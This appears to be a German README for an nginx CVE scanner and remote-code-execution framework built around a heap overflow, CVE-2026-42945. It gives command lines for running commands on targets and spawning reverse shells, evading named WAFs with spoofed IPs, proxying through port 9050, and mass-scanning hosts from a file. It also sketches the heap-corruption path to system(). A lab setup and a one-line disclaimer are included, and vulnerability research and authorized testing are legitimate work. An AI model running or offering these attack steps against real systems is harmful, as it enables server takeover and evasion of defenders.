nGixShell ist ein nginx-CVE-Scanner und RCE-Exploit-Framework. Es enthält einen funktionsfähigen Proof-of-Concept für CVE-2026-42945 – einen kritischen Heap-Buffer-Overflow in ngx_http_rewrite_module – sowie einen Scanner, der 53 nginx-CVEs mit automatisierten HTTP-Probes, Fingerprinting, WAF-Erkennung/Umgehung, Web-Security-Auditing und Report-Erstellung abdeckt.
Keine externen Abhängigkeiten. Reine Python-3-Standardbibliothek.
Kurzstart
# Das verwundbare Labor starten
docker compose -f env/docker-compose.yml up -d
# Automatik-Modus – Fingerprinting + CVE-Scan + Web-Audit
python3 ngixshell.py 127.0.0.1:19321
# Einen Befehl via RCE ausführen (CVE-2026-42945)
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id'
# Eine Reverse-Shell einrichten (IP wird automatisch erkannt)
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell
# WAF erkennen und umgehen, dann scannen
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass
# Subdomain-Scan
python3 ngixshell.py --subdomain-scan example.com --scan-port 443
# Mehrere Ziele aus einer Datei
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html
Keine Flags erforderlich – die Ausrichtung des Tools auf ein Ziel führt alles automatisch aus.
TLS wird automatisch erkannt. nginx wird selbst bei server_tokens off ge-fingerprinted.
Verwendung
python3 ngixshell.py [ZIEL] [OPTIONEN]
ZIEL-Formate:
127.0.0.1
192.168.1.10:8080
http://192.168.1.10:8080
https://target.local
Modi
WAF-Erkennung & Umgehung
| Flag | Beschreibung |
|---|
--waf-detect | WAF vor dem Scan erkennen |
--waf-bypass | Alle Umgehungstechniken aktivieren (führt auch Erkennung aus) |
--waf-ip IP | Diese IP in Umgehungs-Headern vortäuschen (Standard: zufällige RFC1918) |
Umgehungstechniken (alle aktiv, wenn --waf-bypass gesetzt ist):
Erkannte WAFs: Cloudflare, AWS WAF, Akamai, Imperva/Incapsula, ModSecurity, F5 BIG-IP ASM, Sucuri, Barracuda, NAXSI, Fastly, Wordfence
Web-Audit
Wird im Scan-Modus automatisch ausgeführt. Alle Module können einzeln übersprungen werden.
- Header-Audit – HSTS, CSP, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, Permissions-Policy, versionsleakende Header
- Pfad-Erkennung – 50+ Pfade; Sentinel-Probe eliminiert Fehlalarme durch Catch-all-403/301-Regeln
- Virtual-Host-Aufzählung – erfordert sowohl Status- als auch Body-Unterschied, um Fehlalarme durch Standard-Blockierungen zu vermeiden
- TLS-Audit – Testet TLS 1.0–1.3 Unterstützung, Zertifikatsablauf und Selbstsignierungs-Erkennung
- stub_status – Analysiert aktive Verbindungsmetriken von
/nginx_status, falls freigegeben
Verbindung
| Flag | Beschreibung |
|---|
--port PORT | Port überschreiben |
--tls |
HTTP
| Flag | Beschreibung |
|---|
--user-agent UA | Benutzerdefinierter User-Agent |
--auth USER:PASS | HTTP-Basisauthentifizierung |
Rate / Timing
| Flag | Beschreibung |
|---|
--rate-limit RPS | Maximale Anfragen pro Sekunde |
--jitter MS |
Ausgabe
CVE-Abdeckung
53 Einträge von 2009–2026. Sortiert nach CVSS.
Der Bug (CVE-2026-42945)
Die Rewrite-Script-Engine von nginx verwendet ein Zwei-Durchgangs-Modell: Puffergröße berechnen, dann kopieren. Das Flag is_args wird auf der Haupt-Engine gesetzt, wenn ein rewrite-Ersatz ? enthält, aber der Längenberechnungsdurchlauf läuft auf einer frisch genullten Sub-Engine:
- Längendurchlauf – sieht
is_args = 0 → gibt rohe Erfassungslänge zurück
- Kopierdurchlauf – sieht
is_args = 1 → ruft ngx_escape_uri(NGX_ESCAPE_ARGS) auf, erweitert jedes unsichere Byte auf 3 Bytes
Der Kopiervorgang überläuft den zu kleinen Heap-Puffer mit angreifergesteuerten URI-Daten. Die Ausnutzung korrumpiert einen benachbarten ngx_pool_t-Cleanup-Zeiger über Cross-Request-Heap-Feng-Shui und leitet ihn zu einer gefälschten ngx_pool_cleanup_s um, die bei der Pool-Zerstörung system() aufruft.
Betroffene Versionen
| Produkt | Verwundbar | Gefixt |
|---|
| NGINX Open Source | 0.6.27 – 1.30.0 | 1.31.0, 1.30.1 |
| NGINX Plus | R32 – R36 | R36 P4, R35 P2, R32 P6 |
Herstellerhinweis: https://my.f5.com/manage/s/article/K000160932
Labor-Setup
Getestet auf Ubuntu 24.04 LTS. Erfordert Docker und Python 3.8+.
# Das verwundbare Labor starten (nginx 1.25.3)
docker compose -f env/docker-compose.yml up -d
# Vollständiger Scan
python3 ngixshell.py 127.0.0.1:19321
# RCE mit JSON-Ausgabe
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id' --json
# Reverse-Shell – Bash-Payload, automatisches PTY-Upgrade
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell
# WAF-Bypass-Scan mit vorgetäuschter IP
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass --waf-ip 10.10.10.1
# Über SOCKS5-Proxy
python3 ngixshell.py 192.168.1.10 --proxy socks5://127.0.0.1:9050
# Subdomain-Scan mit Ratenbegrenzung
python3 ngixshell.py --subdomain-scan example.com --scan-port 443 --rate-limit 10
# Mehrere Ziele, JSON-Ausgabe, HTML-Report
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html
Haftungsausschluss
Nur für autorisierte Sicherheitstests, CTF-Wettbewerbe und Forschung.